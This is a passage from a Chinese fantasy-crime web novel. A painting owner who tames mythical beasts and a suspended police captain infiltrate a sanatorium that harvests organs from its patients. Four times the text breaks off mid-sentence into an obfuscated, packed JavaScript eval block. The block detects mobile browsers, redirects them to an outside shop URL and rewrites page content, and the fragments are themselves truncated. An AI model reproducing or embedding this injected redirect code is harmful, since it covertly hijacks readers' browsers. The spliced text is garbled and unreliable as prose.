“哦,睡得还是挺好的,不过也有睡着睡着就往我脑海里塞的情况,它跟梦有本质的区别,梦我无法跟别人共享,但是这个画,我能跟别人共享,所以就算是睡着了获得的信息,醒了之后也能处理。”独孤尽说到这里脸色更差了,“你说我怎么就这么苦。” “是不是我以前好日子过多了,非要我感受一下普通人的生活。” “普通人可没你这么好的日子能过。”春渐满听了半天,实在忍不住要嘲讽一句。 这就是个不食人间烟火的大少爷突然肩上背责任了,不想背不愿意背,还必须背,搁这儿怨天尤人来了。 不过这画,可能是自己挑的主人,而且挑得很对,一般人在这种空间早不知道吓死多少回了,也没法很快掌握操控技巧,说不定还要跑去看心理医生。 但独孤尽这种天性纯良,有点儿嫉恶如仇,不容易被负面情绪影响的乐天派,很适合这幅潘多拉的画。 “我知道,我知道普通人的日子很难,但让他们来和我换啊,他们不一定乐意。”独孤尽像是想到了什么,冲春渐满贼兮兮一笑,“小弟,你看你来都来了,怎么也要帮主人分担点,是吧?” “刚来就要安排我干活了?”春渐满想看一眼时间,却发现时间在这里也失效了,他的电子手表竟然停了。 “先帮主人把期末考试成绩宣读了怎么样?”独孤尽指了指门外,“这个学校主要是帮那些不太了解人类规则的神兽做一个系统性的培训。” “题目是我出的,都很简单,必须得拿到满分才能休假,不然就要补考。” “满分?你考试的时候也考满分?”春渐满没想到独孤尽看起来吊儿郎当,要求还挺高。 “哎呀,我考试肯定拿不了满分,但我出的题都是很简单的那种,错一道都很致命。”独孤尽从春渐满手里拿回平板,随意给他翻了张试卷出来,指着其中一题,“你看看。” 是道选择题: 23、在人类世界执行任务时可以做的事有哪些?() A、上房揭瓦 B、打招呼时把自己的脑袋摘下来以示礼貌 C、随手拆毁挡到路的东西 D、把人类当食物充饥 “这道题的答案是什么?”春渐满一时间竟选不出来。 “???”独孤尽现在脑袋上不止有蘑菇,还挂了一串问号。 “当然是什么都不选啊!” “你觉得哪个能做?你倒是告诉我,这四个选项,ABCD能选哪个???” 独孤尽恨铁不成钢,他现在想钻到他这个小弟脑子里看看,里面是不是能游泳。 “上房揭瓦不是能打探消息吗?”春渐满语气渐弱,他活这么大,还是头一次被人质疑智商。 “……我都能出这种题让他们考试,你觉得他们能好好隐匿身形,悄悄揭开瓦片,打探消息?”独孤尽猛地抬起手,掌风强劲直接打开大门。 “你也给我出去,我现在很怀疑你人类的身份,给我出去。”独孤尽把最后一口汽水灌下肚,重新把门摔上。 就让他一个人,寂寞至死吧! 春渐满忽然被扫地出门,还有点儿懵,他很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688905|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没见过这么情绪化的人了,在他的工作环境,每个人都被要求冷静,理性是关键。 可在这里,好像没有按照常理出牌的,包括这里的“主人”。 许是开门动静有点儿大,一只像羊一样的东西从不远处以百米冲刺的速度朝他奔来。 “呼哧呼哧……”到了眼前才发现它的鬣毛是赤色的,和普通的羊有点儿不一样。 “你主人让我跟你去宣读期末考试成绩。”春渐满还是很难直接把独孤尽当成自己的主人,话到嘴边就拐了弯。 “咩——咩——”神兽能感知到同伴的气息,葱聋并不排斥春渐满,围着他转了一圈,嗅闻气味后就昂首挺胸再次用百米冲刺的速度朝外跑起来。 春渐满一向对自己的体能很有信心,但跟神兽比起来,差得不是一星半点,可很快他就想到了之前在独孤尽房里控制身形的技法,眸光微转,心念随之往前,果不其然,他学会了瞬移。 正好可以不紧不慢跟在这只神兽身后。 他现在对这种虚空已经没刚来时那么惊讶、恐惧了,只要知道这看似虚无的地面,踩下去是实心的,安全感也就有了。 等春渐满到学校的时候,他又一次见到了老熟人,是九尾狐。 “叔叔……不对,叫习惯了都,小帅哥,阿尽让你来宣读成绩?他真放心啊。”九尾狐的皮毛极其柔顺,尾巴大朵大朵蓬松地在身后晃动,摄人魂魄的红色眼眸连同眼尾都微微泛红,妖冶至极。 “简单跟你介绍一下,除了我和某些仙兽常与人接触,会人语,大部分人语都学得不太好,能识些字,但说话还是没改过来。” “不过,分数他们都听得懂,你要做好心理准备,如果他们没过关的话,保不齐情绪激动起来会对你动粗。”九尾狐把批阅完的试卷放在讲台上,对春渐满做了个请的姿势,让出了位置。 “没考过会有惩罚吗?”春渐满越听越觉得不对劲,这些神兽本就神通广大,有人类无法企及的能力,为什么会乖乖来学人语,还乖乖考试,还很在意分数。 “没考过的,没办法跟阿尽出去潇洒,也没办法执行任务。”说到这里,九尾狐眼中也透露出一丝渴望。 “我们都太想……太想出去了,太想让主人放我们出去了。”这句话里似乎藏着让人读不懂的危险,可春渐满还是本能地察觉到了。 “你们一直被关在画里吗?”春渐满试探着。 “不算关,我们都是被主人收复的,住在这里,被要求不得危害人间。”九尾狐话锋一转,媚眼如丝冲春渐满笑了下,“套话可是要付出代价的,这是最基本的,你知道的吧?” “给主人暖床行吗?”春渐满随口敷衍。 “你果然有给主人暖床的心思,不过这是奖励,可算不得代价。”九尾狐引了一缕风过来,托着一个方本本给春渐满。 “下学期教学的事情,就麻烦小帅哥了。”九尾狐笑得狡黠,“还有,补考,包括补考前的补习都麻烦了哦。” 9. 远星疗养院 时光如水,一晃而过,温柔得让人犯懒。 春渐满领职在画里帮神兽们补习也过去了半月有余,在他的不懈努力下,神兽们总算大概理解了人类的行为方式。 其实只要记住一点,人类都是脆弱的。 和它们截然不同,没有那么强的自我恢复能力,所以一切都要小心再小心。 实在不知道什么能做什么不能做,就什么也不做。 在此之上,春渐满还教授了一些基本的是非观,不可偷盗,不可强取,想要什么都要给钱,没钱,需要靠自己的努力去赚取。 令春渐满头疼的是,这些神兽学人语和文字很困难,许是这么多年都习惯用自己的方式来交流,也没有像小孩子那样好的接受力了,学起来磕磕绊绊,总忘。 “快跟我走!”独孤尽凭空出现,夺下春渐满还在批改卷子的笔往旁边一丢,握住他的小臂就拖拽起来。 “等等!文鳐鱼考试过了没?可会人言了?”独孤尽猛地脚刹,被他拖拽着的春渐满差点撞上他的后背。 “过了。”春渐满不用查记录,谁过了,谁没过,他都记得。 “文鳐鱼,随我出任务!”独孤尽不知道使了什么术法,竟让声音响彻云霄。 “主人主人我来了!”文鳐鱼扑扇着翅膀摇摇晃晃荡过来,它的鱼脸长得很讨喜,“要去哪里?” “远星镇。”独孤尽言简意赅。 “那我不能随主人去。”文鳐鱼不像别的神兽一样渴望出去。 “为何?这次需要你。”独孤尽现在脑海里全是刚才画里出现的预示,那是一场灾难,他不想事情发展到那个地步。 “主人,我只能在丰收之地出现,远星镇不祥,我是断然不能出现在那的,不然就没有公信力了!”文鳐鱼态度坚决。 “你也知远星镇不祥?那更要跟我去执行任务了,由不得你拒绝。”独孤尽不跟它废话,一把揪过它的翅膀,跟逮小鸡一样提着。 “不可不可,主人不可啊,我是丰收的象征,断不能暴露在不祥之地,远星镇别说丰收了,即将变成一片寸草不生的土地,我不能去不能去!啾啾啾——”文鳐鱼急了不免叫唤起来,不愿再讲拗口的人言。 “谁让你用这种形态示人了?给我变成人形!谁也认不出你是文鳐鱼,况且现在这个年代谁还认得出你啊!”独孤尽忍不住在心里腹诽,这个年代见到了就算被人拍下来,大家也只会以为是AI产物。 “还是主人高明,但我就算变成人形,那我出现在远星镇也是事实……”文鳐鱼越想越觉得自己被忽悠了,它一向福气满满都鱼脸这会儿都挂上了纠结的神色。 “你的这些……都这么不听话?”春渐满先前手里也管着一队人,还从没人不服从安排的。 “所以你懂我为什么是最惨牛马人了吗?”独孤尽重重叹息一声。 “那现在你要怎么办?一定要带文鳐鱼?”春渐满见两边僵持,独孤尽又很急的样子,选择不浪费时间,他扭头朝文鳐鱼招了招手,“你过来,去执行这次任务,以后的升级考试可以给你率先加十分。” “什么什么?还有升级考试?不是只要考一次过了就行吗?”文鳐鱼甩着鱼尾,身上急得冒出水珠。 “有的,同意去就速速变成人形。”春渐满面不改色地扯谎,从前没有,但现在开始,升级考试就有了。 文鳐鱼认了,它吐出个鱼泡泡包裹全身,“啪”地一下,泡泡破裂,变成了一个有几分像独孤尽又有几分像春渐满的人,可以说是完美继承了两人的优点。 独孤尽见文鳐鱼同意了,立马一手一个,掌心贴额头,将他见到的画面传了过去。 那是远星镇即将发生的未来…… 这里有一间大型疗养院,里面全是精神病人,因名声响亮,全国各地的人慕名将自己得了病的亲人送到这间疗养院来,期望的是病人痊愈出院,如常人般生活,可却料不到这里会是他们的葬身之地。 远星疗养院规模宏大,背后有大势力支撑,还联合了国外的非法组织,将这里的病人当成免费的材料,无论是血液、器官还是子宫……都是他们换钱的工具。 春渐满率先睁开眼,他捂着胃,曲身忍不住干呕起来。 自从他成为一名人民警察,就没这么丢脸过,他接手过多起重大案件,一路摸爬滚打,犯罪现场去了不知道多少回,才晋升成了队长,还被委任了调查“怪奇诊所”的重要任务,但他真没见过战场的惨状。 尤其,独孤尽这个画中预示呈现的方式,会直接让人身临其境一样感受一番,他在刚才的预示中见到了宛如战场的惨烈画面。 远星疗养院作为远离城市、风景优美的疗养圣地,分了多个病区,打造得恬静祥和,有专为女孩设置的公主园区,少年人不会耽误学习的书屋园区…… 但这些都是表象,公主园区是为了挑选适合的子宫,年龄的区分是为了更健康的血液和器官。 可即便远星疗养院远离城市,把亲人送到这么遥远的地方治疗的人大部分都是没时间陪伴家人,又不想被良心谴责的人,但也总有真心觉得远星疗养院能把人治好,真正关心家人的。 世上没有不透风的墙,这不就有一位年轻人为了解救自己的妹妹,以身犯险,装成精神病进去了的。 这位卧底青年根本不了解里面的水有多深,又或者明知水深危险,但为了道义与信念,更是为了自己的妹妹,不得不去。 动静大了,一旦被外界发现,影响太大,压不下去可不是小事。 远星疗养院竟要灭镇,直接一把山火燎了。 疯了的,没疯的,残了的……最终这些鲜活的……都成了一具具难以辨认的焦黑尸体。 通过现代技术,最终,这些肢体一定可以通过庞大的工作量,归还家属,但这些哪里抵得上活生生的人啊。 春渐满捂住口鼻,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688906|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难受还是直起了身,凭空变出了一瓶矿泉水,漱了口就拍上独孤尽的肩膀,“快!” “以防万一,小弟,你先去局里报备一下,还有你的停职,该结束了。”独孤尽见春渐满干呕了会儿,心里竟没先前那般乱了,这回,他不是只有自己一个人了。 “你不是一向特立独行,还需要上面的许可?”春渐满不明白以独孤尽的能力,不应该直接找到罪魁祸首,将其绳之以法吗? “听话。”独孤尽用哄小孩的语气哄着春渐满。 水波浮动间,已然回归现实世界,春渐满左右瞭望了一下,这附近是监控死角,不得不说独孤尽有时候还挺细心的。 “给个联系方式。”春渐满拿出手机看着上面岌岌可危的电量,得亏他的手机是超长待机。 “我很久没用手机了,估计没电,我的手机号是……”独孤尽把自己的手机号报上,“我等等问人借个充电宝,你先去吧,我们在那边那个便利店碰头。” 街角有家新开的便利店,店门口就放着充电宝。 “行,你们在那等我。” 春渐满没再耽搁,他风风火火赶回局里,也没事先跟领导打个招呼,索性门卫认识他,没阻拦。 “春队!你终于回来啦!” “春队,你这阵子去哪潇洒去了?停职停得都消失了。” “想叫你出来聚聚,电话都打不通,你自己看看我们打了多少通。” “喂!春队!你这么着急干什么?听没听见兄弟说话啊!” “春队!你怎么一回来就去曹局那报道,倒是先和我们聊两句啊。” 春渐满不想浪费一分一秒,甚至敲门也就敲了一下,直接拧开了门把闯了进去,这和他以往的风格不符,曹局看到他进来也吓了一跳。 “怎么,想通了?思过来了?”曹局刚不紧不慢拿起水杯喝了一口,就瞧见春渐满旁若无人从旁边的柜子里取了他锁在里面的,春渐满那天丢给他的制服、配枪和证件。 “诶诶诶!春渐满!你眼里还有没有规章制度了?!”曹局终于慌了,他顾不上水溅出来,重重放下水杯,急匆匆拦在春渐满跟前。 “你想好了,出了这个门,可就严重违规了!” “曹局,具体情况我会编辑成文字发给您,快,再借我个充电宝,不然手机没电,没法给您汇报,此事重大,我不会开玩笑,也不想违反规定,您再帮我一帮,您知道的,我从来都不会让您失望。”春渐满面上一片沉痛,非常真诚地向局长,也是他的师父鞠躬。 “你小子最好真有大事!充电宝,两个,不够再问队里别的兄弟要,窃听器拿一套去,防弹衣穿上,包……也借你吧,快滚。”曹局脑袋上的白发肉眼可见更多了。 “文书给我写规范点,我可不帮你改!” “一切小心!” 春渐满接过东西时,眼角已经湿润,他头也不回抱着满怀的东西向外奔去。 10. 文鳐鱼肉 进入梅雨季后,空气潮湿,动不动就要飘点儿雨,春渐满从局里跑出来的时候就淋了一头雨水,可这会儿再让他回去借把伞,他还真没这个脸皮。 冒着雨冲进街角那家便利店后,他才甩甩脑袋,抖落发梢上沾染到的雨水,肩膀上也浸湿了一块,透出结实的肌肉。 “来串关东煮?”独孤尽自由散漫地拿起一串海带结递给春渐满。 文鳐鱼一声不吭跟他在身后,手里还提着两大袋零食。 “你买这么多吃的干嘛?”春渐满没接那串海带结,他把手机充上电,又将制服和窃听设备放在包里收好,证件和配枪都贴身放好才把那件防弹衣递给独孤尽。 “远星镇太危险,你穿上它。” “……小弟,现在是夏天,你让我穿这个?我们还能进得去远星疗养院吗?” “你就说你脑子有病,非要一年四季穿这个才愿意出门。” “你才脑子有病。”独孤尽差点把关东煮泼春渐满头上。 下一秒,两人把视线落在了文鳐鱼身上,文鳐鱼连连摆手,拼命摇头,就是不肯说一句话,他现在很怕自己说人话语法不对被人类听出问题,暴露他是神兽的身份。 春渐满只能团吧团吧把防弹衣也塞进了包里,行军包一下就变得鼓鼓囊囊。 “瞬移吧。”春渐满拍拍双手,自觉地擦干掌心里的雨水,才握住独孤尽一只手。 他这边是一切准备就绪了,可独孤尽迟迟未动,他的白眼快翻到天上去了,“你是不是真该进远星疗养院,在这里瞬移,你是想让我们都上热搜吗?” “你不是能避开监控吗?”春渐满一头雾水,刚才他们闪现的时候独孤尽可没进行读条,难不成去远距离要读条? “……你真把我当神仙了?”独孤尽喝完最后一口关东煮的汤,把垃圾丢进垃圾桶才躲开便利店的监控,背身取了一台笔记本电脑出来。 “主人您本来就是神仙啊。”文鳐鱼悄悄嘀咕一声,被春渐满听见了,让他原本紧绷的心情终于放松了点,那双锐利的鹰眸也透出了点笑意,“是吧,我也觉得他是神仙。” “春老师,执行任务时,我如果有语法问题,您帮帮我。”文鳐鱼凑近春渐满,声音还是小小的,他现在是个比春渐满矮半个脑袋的小少年形象,高中生的感觉。 春渐满重新打量了一下文鳐鱼,“你考试过了,是满分啊,而且你不用太在意语法,太在意语法才不像人类,人类口语很随意的。” “倒是你的战斗力怎么样?你的技能是什么?”春渐满更在意这方面,他不明白有那么多原形看起来战斗力爆表的神兽,为什么独孤尽会点名要带文鳐鱼。 “战斗力?我不战斗的,我是报喜的,哪里要丰收了我就出现在哪里,不过现在国泰民安,很多地方都在丰收,所以我也不着急出去报喜,自然也轮不到我出任务。”文鳐鱼摇摇头,可能别人都喜欢出来,但他挺喜欢呆在家里的。 而且自从主人回来后,家里总会出现新奇的东西,比如上次主人带大家玩的掌上游戏机。 “难道你有锦鲤效果,带着你能逢凶化吉?”春渐满还记得文鳐鱼的原型长得很像锦鲤,只不过多了一对羽翼。 “出发!监控情况我都查好了。”独孤尽合上笔记本,将它重新丢回家,又从口袋里摸出两颗口香糖,一边嚼一边推着春渐满和文鳐鱼往外去。 “你能查到远星镇的监控?”春渐满扭头看着独孤尽悠闲地吹出个小泡泡。 “我可是学过四年网络工程的,虽然有些是自己琢磨出来的……”独孤尽压低声音,充满警告意味,“我虽然会点黑客技术,但从没干过危害社会的事,你可别对我下手。” “收编人员可以直接用这些技术帮忙侦破案件,你为什么不考?”春渐满觉得这样的人才,不该流落民间。 “饶了我吧,我没这么大的志向,只想吃喝玩乐。”独孤尽连连摆手,像是为了证明这点,文鳐鱼提着的零食哗啦作响。 春渐满研究过很多人,却看不懂独孤尽,拥有这么多足以作乱的能力,却也没想过作恶,反而在帮他们破案,但又这么懒散,不情不愿,真不知道他到底想怎么样。 “准备好了吗?三二一……”独孤尽的倒计时出其不意,根本没给别人说不的权利。 一阵水汽蒸腾后,独孤尽难受地捂住耳朵,他拼命嚼着口香糖缓解骤然变化的耳压,春渐满虽然也觉得耳朵不太舒服,但没独孤尽反应强烈,至于文鳐鱼,他正好奇地张望着这个陌生又透着一股熟悉的地方。 这是一片他未曾见过的山林,可这里却有他熟悉的气息,很奇怪。 文鳐鱼一时间忘了自己已经化身为人了,他直接趴在地上,嗅闻着泥土的气味,随后在地上一滚,肚皮朝天,眼睛晶亮对独孤尽和春渐满乐,“我就是在这里被主人收复的。” “他怎么这么喜欢被你收?别的神兽也这样吗?”春渐满嘴角抽搐,他弯腰朝文鳐鱼伸出手,“快起来,考题都忘了吗?” “哦哦,要谨慎点,不能做大幅度的动作,以防人类害怕。”文鳐鱼背了一遍要点,直接从地上跃起来。 “……”春渐满现在有点懂独孤尽说的打工牛马的感觉了。 这不仅要打工,还要带娃啊。 “也不都这样,各有各的问题,他这样算好的。”独孤尽一副看开了的表情摆摆手,“来,听我说,文鳐鱼记住你现在的身份,高二生,因为长相秀气,性格内向,一直被校园霸凌,家里人太在意你,怕你心理出问题,带你来这边看医生。” “记住,你以前没看过心理医生,因为家里不放心其他医院,这里最有名,带你来这里。” 独孤尽指了指远处,“从这里开始,后面的监控是他们会看的,你就在这里幻化两辆车出来,一辆我来开车,你坐我车,我是你爸,如果问到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688907|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,我是干啥的,你就告诉他们,我是一家酒吧的合伙人。” “小弟你呢,有个重任,记不记得我们看到的那个来救妹妹的年轻人,我动了一点手脚,这个是你的身份证,是那个年轻人的继父,你开另外一辆车,我们间隔两个小时,我和文鳐鱼先进去,自己的安全最重要,有什么特殊情况,就回家。”独孤尽把文鳐鱼手上提着的两袋零食给春渐满。 “回家会吧?要不你现在先试试?”独孤尽有点不放心,毕竟之前都是他带着春渐满。 为以防万一,春渐满还是当场尝试了一下。 顺利消失。 可独孤尽等了得有五分钟,也没等到春渐满重新回来,他伸手扶额,心念转动回去,就看到春渐满正紧闭着双眼,费劲地在那念念有词,“急急如律令,走!急急如律令,去远星镇!” “嘿!醒醒!别念了,再念天都要黑了,记得文鳐鱼的样子吗?以他为坐标,心念转动。”独孤尽话毕,一不小心,又传回了远星镇。 就在他准备再次回去,抓着春渐满一起过来的时候,春渐满终于回来了。 “会了?小弟你记着,只有我们能回去,带不了别人,不到万不得已,不要在人前这么做知道吗?”独孤尽吐掉嘴里的口香糖,毕竟要扮演文鳐鱼的爸爸,他还是要看起来稳重一点的。 “明白。”春渐满强忍着一阵恶心,可能是他不熟悉术法,他自己传送时,整个世界都在旋转,不像独孤尽带着蛊雕时那样平稳。 “过来,监控死角在这些地方,等文鳐鱼在这边疗养后,我们就可以定点传送了。”独孤尽把自己调查到的情况直接投射进两人的脑海。 “还有一点很重要,文鳐鱼你是我的神兽对吧?”独孤尽到最后才准备说,他深吸了口气,拼命做心理建设。 “是啊是啊,主人。”文鳐鱼欢快地点头,两只眼睛乌黑发亮。 “进去后,碰到神智有问题的,把身上的肉分给他们吃。”独孤尽说得极轻,像阵风一样。 “好的好的,主人。”文鳐鱼仍旧欢快地点着头,春渐满却不可置信地看向独孤尽,他猛地握住独孤尽一只手臂,没控制好力度,抓得使劲,独孤尽却好像也没感受到疼痛一样,他沉默地抿着唇半晌,跟春渐满解释一句,“文鳐鱼的肉能助人恢复神智。” “那你也不能!” “我知道,我知道……你见我平时让他去做好人好事了吗?特殊情况……” “……”春渐满松开手后撤半步,攥紧拳头。 如果是之前,有人跟他说什么鱼吃了能帮他的亲人恢复神智,他虽然觉得是骗人的,但还是会把这鱼弄来,给亲人试试,万一呢。 可现在,在他跟文鳐鱼相处过之后,他无法再把文鳐鱼当成食材,哪怕文鳐鱼能起到至关重要的作用。 这一刻,春渐满自心底生出一股寒意。 独孤尽此人,极其可怕! 11. 进入园区 独孤尽垂眸盯着后退的春渐满,神色灰暗不明,他挠了挠头发,索性不再看春渐满,唇角勉强往上扯了点,“文鳐鱼,开始吧。” “好的主人!主人放心,我虽然不想出来,但出来了一定好好配合完成这次的任务!”文鳐鱼瞳孔边缘蓝光微闪,两辆型号不同的车辆就亮闪闪地停在了路边。 独孤尽拉开车门坐进驾驶位,动动手指将车牌号黑进系统,让人短时间内无法察觉异样。 文鳐鱼为了符合他新获得的人设,坐在了后排,他眨着纤长的睫毛,目光清亮看向窗外。 原来亲眼见到现实世界是这样的感受,他有多久没出来了呢? 之前他在网上了解到,现在的文鳐鱼已经和他不一样了,大家被人类当成了一道再普通不过的美味佳肴,在餐桌上频频出现。 没有了预示丰收的使命,不用带着思考,只是为了生存,好像这样的生活也不错。 独孤尽没注意到文鳐鱼的状态,他把一切检查就绪后,就要摇下了车窗,冲另一辆车上的春渐满摆了摆手,意思是他先出发了。 春渐满注视着独孤尽的车越来越远,直到彻底消失,才用车载导航定位了远星疗养院。 这里离远星疗养院还有很长一段距离,起码要开半个小时,这么远就已经在远星疗养院的视野范围了吗?怪不得里面的人逃不出来。 如果在连同附近本就为数不多的镇民,当真是插翅难飞。 除非,躲在山里不出来。 春渐满瞥了眼郁郁葱葱的山林,这座山里,还不知道埋藏了多少不为人知的秘密。 那些再也见不到的家人,再也见不到太阳的面孔…… 春渐满深呼吸了几下,才坚定了信念,他确实不该优柔寡断,文鳐鱼的肉既然能有这等效用,又是神兽,能再生,那就先解决眼前事。 他轻拨那两个装满了零食的塑料袋,伴着“呲啦”声轻笑了两下,伸手揉了揉僵硬的脸,又把几个重要人物在脑海里回忆了一遍,加深印象。 “也该轮到我出发了。”时间正好过去了两个小时。 春渐满听着导航里的播报,用心把周围的路况都记熟,以防有特殊情况,来不及开导航,要随机应变。 远星疗养院的大门金碧辉煌,修建得很好,有种中式园林风的感觉,院墙周围用绿化半封闭着,可仔细看的话,就会发现掩藏在暗处的电网。 这样舒适的环境即便顶着疗养院的名头,也会有很多游客想来参观吧。实在让人提不起戒心。 “孟晚舟的继父梁以航?这么年轻?”远星疗养院虽然看起来像个旅游景点,但它的审查却很严格,从大门口就开始了。 门卫拿着春渐满递给他的身份证放在电子设备上刷了一下,登记的信息确实和数据库一致,但孟晚舟都二十三了,他这个继父看起来也就跟他年纪差不多,虽然气质比那小子成熟,但顶多超不过三十岁。 春渐满反复被门卫打量,与数据库信息比对,却没半点儿慌乱,他镇定自若,那双鹰眸倒是给他带来点不怒自威的意思,“有什么问题吗?” “你之前来过?”门卫显然是重要的一关,这里的门卫并不是寻常看门的大爷,他再次把春渐满从头到脚打量一遍。 “没来过,我听他妈妈说,他是自己过来看病的,我现在跟他妈妈在一起,他妈妈工作忙,就想着替他妈妈过来看看孩子。”春渐满放下两袋零食,从兜里掏出包烟,放在门卫桌上。 “这里不能抽烟。”门卫并不领情,把烟推了回去。 “你知道孟晚舟还有个妹妹吧?不一起看看?” “啊,那个不用看了。”春渐满故意露出破绽摆摆手,又顿了下,有点尴尬地跟门卫解释,“其实我也没多想来看孩子,就意思意思,在他妈妈面前表示一下,那个女孩是她前夫的,其实跟她没啥关系。” “拿着,下午四点半闭园,记得在这之前出来,卡别丢了,押金五百。”门卫敲了敲桌上的二维码。 春渐满没迟疑,扫了五百过去。 “小何,你带他过去。” 远星疗养院里安静得可怕,虽然白天看起来花团锦簇,生机盎然,依山傍水很有氛围感,无论是拍个视频还是开个直播,都能给它大波引流。 可春渐满还是没来由地感到了一阵阵阴冷。 这跟他率先知道了远星疗养院暗地里令人发指的行为无关,他是真的感到了冷风往他骨髓里钻。 可现在是夏天,又是白日里,不该冷的。 春渐满很想问问独孤尽,是不是跟他喝了那杯他不该喝的酒有关系,他不仅能跟着进到“怪奇诊所”里,还有了一些非人类的能力。 可他不敢在这里与独孤尽用网络进行交流,容易被有心人截胡他们的聊天信息。 只能忍到晚上,回家了再交换信息。 独孤尽看着卡片上登记的信息,不仅有他的,还有孟晚舟妈妈的,包括那个妹妹,不过孟晚舟有病区位置,病房信息,可他妹妹的信息却没写上去。 这里的布局很奇妙,像是精心布置的,逃跑很难,但捉人却很好捉。 而且不熟悉这里的人,很容易迷路,这里根本就没路标。 平时除了需要带家属参观外,基本没有病人在外活动,也就不需要路标,毕竟,可没谁会想方便待宰的羔羊逃跑。 而在这里的工作人员早就将路线熟记于心,即便是迷了路,他们也有内部软件,可以实时查看路况。 只是,来参观的家属被带着一路走来,却也没谁觉得没人在外活动奇怪。 这里绿树繁花太多了,大家只觉着绿化遮住了人,恰巧自己没瞧见人而已。 “梁先生,这里的景致很美吧?”小何一边带路一边观察着春渐满,这位继父先生长得也太年轻了,外形很抗打啊,怪不得能被富婆看上。 “这些绿化平时都有专人打理吧?”春渐满随意点点头。 “梁先生看上哪盆了,回头出来给您包上?这里的花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688908|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草都是杨师傅那一队人在打理,是我们院请的专业人士,所以养护得特别好。”小何作为带路人,他的风格和门卫截然不同,是个瘦瘦高高的男人,看起来也就三十多岁。 如果说门口的检查足够严谨能够让那些家属放心,那么这个小何,就是让大家彻底放下防备的存在。 “以前做过销售?”春渐满状似无意随口一问。 小何愣了一下,很快又露出亲切笑容,“梁先生好眼神,一看就知道了。” “可别给我推销东西,我就是来看看继子,也没给他买什么贵重的东西,一点吃的,看完就走。”春渐满抬了抬手里的零食。 都是些街角便利店的寻常零食,品类众多,显然完全不了解孩子爱吃什么,足够敷衍。 “梁先生,到了,您把卡片给前台,让他们带您过去就可以了,您可记着四点前用这个电话打给门卫,让我来接您。”小何指了指前台醒目的有线电话。 “别晚了,我们四点半准时闭园。”又贴心嘱咐一句,小何才缓步离开。 “梁以航,见孟晚舟是吧?302房,进去吧。”前台按下密码,打开厚重的门锁,刚放春渐满进去,大门就又再次重重合上。 春渐满记得这个区域里是没有监控的,在这里,他们也不敢安监控。 太多非法的事情,都在这里进行,他们敢留下证据吗? 春渐满脸色很差,越深入远星疗养院他就越觉得喘不上气,胸口闷疼,难受得紧。 他靠着墙想恢复下状态,却发现这里压抑得很,浓重的灰白色,没有一扇透气窗,所有的亮光源于头顶上的一盏盏灯。 这里的灯倒是照明很好,不存在忽闪忽闪的恐怖效应,但即便如此,只是站在这个纯白的空间,就让春渐满极其不适。 墙面……像是刚漆过没多久。 里面掩藏的,怕都是证据。 春渐满很想直接让警方介入调查,却又想到这背后的势力,恐怕,他的师父都没办法帮他兜。 “孟晚舟。”春渐满沉下心,找到302病房,敲门后,他直接打开了房门。 这里的房门倒是没有锁,而且病房是独立的,里面只有一张病床,孟晚舟正站在床边,直愣愣地盯着门口。 春渐满眼疾手快关上门,他记得这个房间里也没有监控,本是罪犯不想留下证据,却没想到方便了他。 “孟晚舟,长话短说,我是这个。”春渐满从口袋里掏出他的证件,“我知道你是来救你妹妹的,也知道你并不相信我们,但没时间了,你妹妹,没时间了。” “请你不要轻举妄动,你偷带进来的设备,先别用,他们会发现。” 孟晚舟在春渐满说出他偷带设备时,警惕心涨满,他喉头发紧,手指攥紧,指甲深深嵌入掌心。 “如果我要做什么,我现在就该把你交给他们,所以……信我。”春渐满只能祈求这个青年能够相信自己。 只有这样,这场滔天罪行才有可能终结。 12. 从花架坠落的少女 “这是我来这里的身份,梁以航,你的继父。”春渐满又把独孤尽帮他伪造的证件拿给孟晚舟看了一眼。 孟晚舟对梁以航这个名字并不陌生,是他听母亲说起,却从没见过一面的继父。 “能告诉我,你们的房门没锁,为什么走廊上没人吗?大家怎么都关着门?”既然有这么得天独厚的条件,大家应该联起手来,一起逃离这个地狱一样的地方啊。 